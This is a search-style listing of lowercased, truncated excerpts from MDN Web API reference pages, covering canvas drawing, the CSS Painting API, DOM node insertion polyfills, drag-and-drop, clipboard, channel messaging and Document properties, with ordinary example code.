if (originalinsertrule.length === 2){ // 2 mandatory arguments: (selector, rules) sheet_proto.insertrule = function(selectorandrule){ // first, separate the selector from the rule a: for (var i=0, len=selectorandrule.length, isescaped=0, newcharcode=0; i !== len; ++i) { newcharcode = selectorandrule.charcodeat(i); if (!isescaped && (newcharcode === 123)) { // 123 = "{".charcodeat(0) // secondly, find the last closing bracket var openbracketpos = i, closebracketpos = -1; for (; i !== len; ++i) { newcharcode = selectorandrule.charcodeat(i); if (!isescaped && (newcharcode === 125)) { // 125 = "}".charcodeat(0) closebracketpos = i; } isescaped ^= newcharcode===92?1:isesca...
...ped; // 92 = "\\".charcodeat(0) } if (closebracketpos === -1) break a; // no closing bracket was found!
...selector selectorandrule.substring(closebracketpos), // the rule arguments[3] // the insert index ); } // works by if the char code is a backslash, then isescaped // gets flipped (xor-ed by 1), and if it is not a backslash // then isescaped gets xored by itself, zeroing it isescaped ^= newcharcode===92?1:isescaped; // 92 = "\\".charcodeat(0) } // else, there is no unescaped bracket return originalinsertrule.call(this, selectorandrule, "", arguments[2]); }; } })(cssstylesheet.prototype); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.insertrule' in that specification.
Using the CSS Painting API - Web APIs
.fancy { background-image: paint(headerhighlight); } putting it together we can then add the fancy class to any element on the page to add a yellow box as a background: <h1 class="fancy">my cool header</h1> the following example will look like the image above in browsers supporting the css painting api.
... css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/02parttwo/header-highlight.js'); .fancy { background-image: paint(headerhighlight); } .half { width: 50%; } <h1 class="fancy">largest header</h1> <h6 class="fancy">smallest header</h6> <h3 class="fancy half">50% width header</h3> while you can't play with the worklet's script, you can alter the element's font-size and width to change the size of the background image.
...(start * 10) + 20, y ); ctx.lineto( (blockwidth) + (start * 10) + 20 + (highlightheight), highlightheight ); ctx.lineto( (blockwidth) + (start * 10) + 10 + (highlightheight), highlightheight ); ctx.lineto( (blockwidth) + (start * 10) + 10, y ); ctx.closepath(); ctx.fill(); } } // paint }); we can then create a little html that will accept this image as backgrounds: <h1 class="fancy">largest header</h1> <h3 class="fancy">medium size header</h3> <h6 class="fancy">smallest header</h6> we give each header a different value for the --highcolour custom property .fancy { background-image: paint(headerhighlight); } h1 { --highcolour: hsla(155, 90%, 60%, 0.7); } h3 { --highcolour: hsla(255, 90%, 60%, 0.5); } h6 { --highcolour: hsla(355, 90%, 60%, 0.3); } and we register ou...
CanvasRenderingContext2D.drawWindow() - Web APIs
notes: if "rgba(0,0,0,0)" is used for the background color, the drawing will be transparent wherever the window is transparent.
...by specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).
... it is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.
CanvasRenderingContext2D.filter - Web APIs
syntax ctx.filter = "<filter-function1> [<filter-function2>] [<filter-functionn>]"; ctx.filter = "none"; values the filter property accepts a value of "none" or one or more of the following filter functions in a domstring.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.filltext('hello world', 50, 100); result applying multiple filters you can combine as many filters as you like.
... html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filter' in that specification.
CanvasRenderingContext2D.lineDashOffset - Web APIs
the canvasrenderingcontext2d.linedashoffset property of the canvas 2d api sets the line dash offset, or "phase." note: lines are drawn by calling the stroke() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([4, 16]); // dashed line with no offset ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // dashed line with offset of 4 ctx.beginpath(); ctx.strokestyle = 'red'; ctx.linedashoffset = 4; ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result the line with a dash offset is drawn in red.
... html <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext...
CanvasRenderingContext2D.putImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); function putimagedata(ctx, imagedata, dx, dy, dirtyx, dirtyy, dirtywidth, dirtyheight) { var data = imagedata.data; var height = imagedata.height; var width = imagedata.width; dirtyx = dirtyx || 0; dirtyy = dirtyy || 0; dirtywidth = dirtywidth !== undefined?
... javascript const canvas = document.createelement("canvas"); canvas.width = 1; canvas.height = 1; const context = canvas.getcontext("2d"); const imgdata = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels = imgdata.data; pixels[0 + 0] = 1; pixels[0 + 1] = 127; pixels[0 + 2] = 255; pixels[0 + 3] = 1; console.log("before:", pixels); context.putimagedata(imgdata, 0, 0); const imgdata2 = context.getimagedata(0, 0, canvas.width, can...
...vas.height); const pixels2 = imgdata2.data; console.log("after:", pixels2); the output might look like: before: uint8clampedarray(4) [ 1, 127, 255, 1 ] after: uint8clampedarray(4) [ 255, 255, 255, 1 ] specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.putimagedata' in that specification.
CanvasRenderingContext2D.scale() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle has a specified width of 8 and a height of 20.
...in this example, the words "hello world!" are flipped horizontally.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('hello world!', -280, 90); ctx.settransform(1, 0, 0, 1, 0, 0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scale' in that specification.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.fillrect(10, 10, 30, 30); ctx.scrollpathintoview(); edit the code below to see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"> <input id="button" type="range" min="1" max="12"> <...
.../canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginpath(); ctx.rect(10, 10, 30, 30); ctx.scrollpathintoview();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventl...
...istener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scrollpathintoview' in that specification.
CanvasRenderingContext2D.stroke() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke.
... html <canvas id="canvas"></canvas> javascript this code strokes the first path three times, the second path two times, and the third path only once.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 16; ctx.strokestyle = 'red'; // stroke on top of fill ctx.beginpath(); ctx.rect(25, 25, 100, 100); ctx.fill(); ctx.stroke(); // fill on top of stroke ctx.beginpath(); ctx.rect(175, 25, 100, 100); ctx.stroke(); ctx.fill(); result specifications speci...
Manipulating video using canvas - Web APIs
this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code.
...head> <style> body { background: black; color:#cccccc; } #c2 { background-image: url(media/foo.png); background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px; background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away from this are: this document establishes two canvas elements, with the ids...
... the timer callback the timer callback is called initially when the video starts playing (when the "play" event occurs), then takes responsibility for establishing itself to be called periodically in order to launch the keying effect for each frame.
Drawing text - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hello world', 10, 50); } <canvas id="canvas" width="300" height="100"></canvas> draw(); a stroketext example the text is filled using the current strokestyle.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.font = '48px serif'; ctx.stroketext('hello world', 10, 50); } <canvas id="canvas" width="300" height="100"></canvas> draw(); styling text in the examples above we are already making use of the font property to make the text a bit larger than the default size.
... a textbaseline example edit the code below and see your changes update live in the canvas: ctx.font = '48px serif'; ctx.textbaseline = 'hanging'; ctx.stroketext('hello world', 0, 100); playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = "48px serif"; ctx.textbaseline = "hanging"; ctx.stroketext("hello world", 0, 100);</textarea> var canvas = document.getelementbyid('canvas'...
Using channel messaging - Web APIs
var input = document.getelementbyid('message-input'); var output = document.getelementbyid('message-output'); var button = document.queryselector('button'); var iframe = document.queryselector('iframe'); var channel = new messagechannel(); var port1 = channel.port1; // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.postmessage(...
...* means "any origin".
...l port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data; list.appendchild(listitem); port2.postmessage('message received by iframe: "' + e.data + '"'); } when the initial message is received from the main page via the window.postmessage method, we run the initport function.
CharacterData - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,mona...
...co,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="5...
...0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode and nondocumenttypechildnode interface.
ChildNode.after() - Web APIs
WebAPIChildNodeafter
examples inserting an element var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.after(span); console.log(parent.outerhtml); // "<div><p></p><span></span></div>" inserting text var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); child.after("text"); console.log(parent.outerhtml); // "<div>...
...<p></p>text</div>" inserting an element and text var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.after(span, "text"); console.log(parent.outerhtml); // "<div><p></p><span></span>text</div>" childnode.after() is unscopable the after() method is not scoped into the with statement.
... with(node) { after("foo"); } // referenceerror: after is not defined polyfill you can polyfill the after() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/after()/after().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('after')) { return; } object.defineproperty(item, 'after', { configurable: true, enumerable: true, writable: true, value: function after() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; docfrag.appe...
ChildNode.before() - Web APIs
WebAPIChildNodebefore
examples inserting an element var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.before(span); console.log(parent.outerhtml); // "<div><span></span><p></p></div>" inserting text var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); child.before("text"); console.log(parent.outerhtml); // "<di...
...v>text<p></p></div>" inserting an element and text var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.before(span, "text"); console.log(parent.outerhtml); // "<div><span></span>text<p></p></div>" childnode.before() is unscopable the before() method is not scoped into the with statement.
... with(node) { before("foo"); } // referenceerror: before is not defined polyfill you can polyfill the before() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/before()/before().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('before')) { return; } object.defineproperty(item, 'before', { configurable: true, enumerable: true, writable: true, value: function before() { var argarr = array.prototype.slice.call(arguments), docfrag = document.createdocumentfragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; docf...
ChildNode.replaceWith() - Web APIs
examples using replacewith() var parent = document.createelement("div"); var child = document.createelement("p"); parent.appendchild(child); var span = document.createelement("span"); child.replacewith(span); console.log(parent.outerhtml); // "<div><span></span></div>" childnode.replacewith() is unscopable the replacewith() method is not scoped into the with statement.
... with(node) { replacewith("foo"); } // referenceerror: replacewith is not defined polyfill you can polyfill the replacewith() method in internet explorer 10+ and higher with the following code: function replacewithpolyfill() { 'use-strict'; // for safari, and ie > 10 var parent = this.parentnode, i = arguments.length, currentnode; if (!parent) return; if (!i) // if there are no arguments parent.removechild(this); while (i--) { // i-- decrements i and returns the value of i before the decrement currentnode = arguments[i]; if (typeof currentnode !== 'object'){ currentnode = this.ownerdocument.createtextnode(currentnode); } else if (currentnode.parentnode){ currentnode.parentnode.removechild(currentnode);...
... } // the value of "i" below is after the decrement if (!i) // if currentnode is the first argument (currentnode === arguments[0]) parent.replacechild(currentnode, this); else // if currentnode isn't the first parent.insertbefore(currentnode, this.nextsibling); } } if (!element.prototype.replacewith) element.prototype.replacewith = replacewithpolyfill; if (!characterdata.prototype.replacewith) characterdata.prototype.replacewith = replacewithpolyfill; if (!documenttype.prototype.replacewith) documenttype.prototype.replacewith = replacewithpolyfill; specification specification status comment domthe definition of 'childnode.replacewith()' in that specification.
Client.type - Web APIs
WebAPIClienttype
the value can be one of "window" "worker" "sharedworker" example // service worker client (e.g.
... a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that this is the serviceworker.postmessage version navigator.serviceworker.controller.postmessage(message); window.serviceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling service worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
... your message was: " + e.data); // let's also post the type value back to the client e.source.postmessage(e.source.type); }); specifications specification status comment service workersthe definition of 'type' in that specification.
Clipboard.writeText() - Web APIs
the "clipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab.
... example this example sets the clipboard's contents to the string "<empty clipboard>".
... navigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard successfully set */ }, function() { /* clipboard write failed */ }); specifications specification status comment clipboard api and eventsthe definition of 'writetext()' in that specification.
CloseEvent() - Web APIs
closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not.
... "code", optional and defaulting to 0, of type unsigned short, that is the connection close code sent by the server.
... "reason", optional and defaulting to '', of type domstring, that is a human-readable reason why the server closed the connection.
Comment - Web APIs
WebAPIComment
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-si...
...ze="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect...
... x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/comment" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">comment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
CompositionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1...
...="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/compositionevent" target="_top"><rect x="231" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment...
...-baseline="middle">compositionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor compositionevent() creates a new compositionevent object instance.
console.count() - Web APIs
WebAPIConsolecount
if omitted, count() behaves as though it was called with the "default" label.
... examples for example, given code like this: let user = ""; function greet() { console.count(); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count(); console output will look something like this: "default: 1" "default: 2" "default: 3" "default: 4" the label is displayed as default because no explicit label was supplied.
... if we pass the user variable as the label argument to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count("alice"); we will see output like this: "bob: 1" "alice: 1" "alice: 2" "alice: 3" we're now maintaining separate counts based only on the value of label.
Console.countReset() - Web APIs
examples for example, given code like this: let user = ""; function greet() { console.count(); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.count(); console.countreset(); console output will look something like this: "default: 1" "default: 2" "default: 3" "default: 4" "default: 0" note that the call to console.counterreset() resets the value of the default counter to zero.
... if we pass the user variable as the label argument with the string "bob" to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.countreset("bob"); console.count("alice"); we will see output like this: "bob: 1" "alice: 1" "alice: 2" "bob: 0" "alice: 3" resetting the value of the counter "bob" only changes the value of that counter.
... the value of "alice" is unchanged.
CredentialsContainer.get() - Web APIs
this method collects credentials by calling the "collectfromcredentialstore" method for each credential type allowed by the options argument.
...valid values are "silent", "optional", or "required".
...an aborted operation may complete normally (generally if the abort was received after the operation finished) or reject with an "aborterror" domexception.
DOMImplementation.createHTMLDocument() - Web APIs
here's the html for this example: <body> <p>click <a href="javascript:makedocument()">here</a> to create a new document and insert it below.</p> <iframe id="theframe" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "...
...this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the frame let destdocument = frame.contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocument.documentelement); } the code in lines 4–12 handle creating the new html document and inserting some content into it.
... line 4 uses createhtmldocument() to construct a new html document whose <title> is "new document".
DataTransfer.effectAllowed - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer.{dropeffect,effectallowed} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag p...
...ayload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples <code...
...>datatransfer</code>.{<code>dropeffect</code>, <code>effectallowed</code>} properties</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'effectallowed' in that specification.
DataTransfer.setData() - Web APIs
<!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's ...
...use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the s...
...election to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
DataTransfer.setDragImage() - Web APIs
demo <!doctype html> <html lang=en> <title>example of datatransfer.setdragimage()</title> <meta name="viewport" content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // set the drag's format and data.
... use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used.
... var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html>...
Document.domain - Web APIs
WebAPIDocumentdomain
a sandboxed <iframe> the document has no browsing context the document's effective domain is null the given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it) the document-domain feature-policy is enabled examples getting the domain for the uri http://developer.mozilla.org/docs/web, this example sets currentdomain to the string "developer.mozilla.org".
... const currentdomain = document.domain; closing a window if a document, such as www.example.xxx/good.html, has the domain of "www.example.xxx", this example attempts to close the window.
... const baddomain = "www.example.xxx"; if (document.domain === baddomain) { // just an example: window.close() sometimes has no effect window.close(); } specifications specification status comment html living standardthe definition of 'document.domain' in that specification.
Document.execCommand() - Web APIs
this requires a font name string (like "arial") as a value argument.
...(internet explorer and edge support only heading tags h1–h6, address, and pre, which must be wrapped in angle brackets, such as "<h1>".) forwarddelete deletes the character ahead of the cursor's position, identical to hitting the delete key on a windows keyboard.
..."h1", "h6").
Document.fgColor - Web APIs
WebAPIDocumentfgColor
syntax var color = document.fgcolor; document.fgcolor = color; parameters color is a string representing the color as a word (e.g., "red") or hexadecimal value (e.g., "#ff0000").
... example document.fgcolor = "white"; document.bgcolor = "darkblue"; notes the default value for this property in mozilla firefox is black (#000000 in hexadecimal).
...the recommended alternative is the css property color (e.g., document.body.style.color = "red").
Document.mozSetImageElement() - Web APIs
<style type="text/css"> #mybox { background-image: -moz-element(#canvasbg); text-align: center; width: 400px; height: 400px; cursor: pointer; } </style> the css defined by the <style> block above is used by our <div> to use an element with the id "canvasbg" as its background.
... var c = 0x00; function clicked() { var canvas = document.createelement("canvas"); canvas.setattribute("width", 100); canvas.setattribute("height", 100); var ctx = canvas.getcontext('2d'); ctx.fillstyle = "#" + c.tostring(16) + "0000"; ctx.fillrect(25, 25, 75, 75); c += 0x11; if (c > 0xff) { c = 0x00; } document.mozsetimageelement("canvasbg", canvas); } the code here is called each time the user clicks the <div> element.
... once the canvas is drawn, document.mozsetimageelement() is called to set the background for any css using the id "canvasbg" as its background element id to be our new canvas.
Using the W3C DOM Level 1 Core - Web APIs
the following script would do the job: html content <body> <input type="button" value="change this document." onclick="change()"> <h2>header</h2> <p>paragraph</p> </body> javascript content function change() { // document.getelementsbytagname("h2") returns a nodelist of the <h2> // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is a text node: head...
...er.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
... var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } you can see this script as a complete example.
Element.clientTop - Web APIs
WebAPIElementclientTop
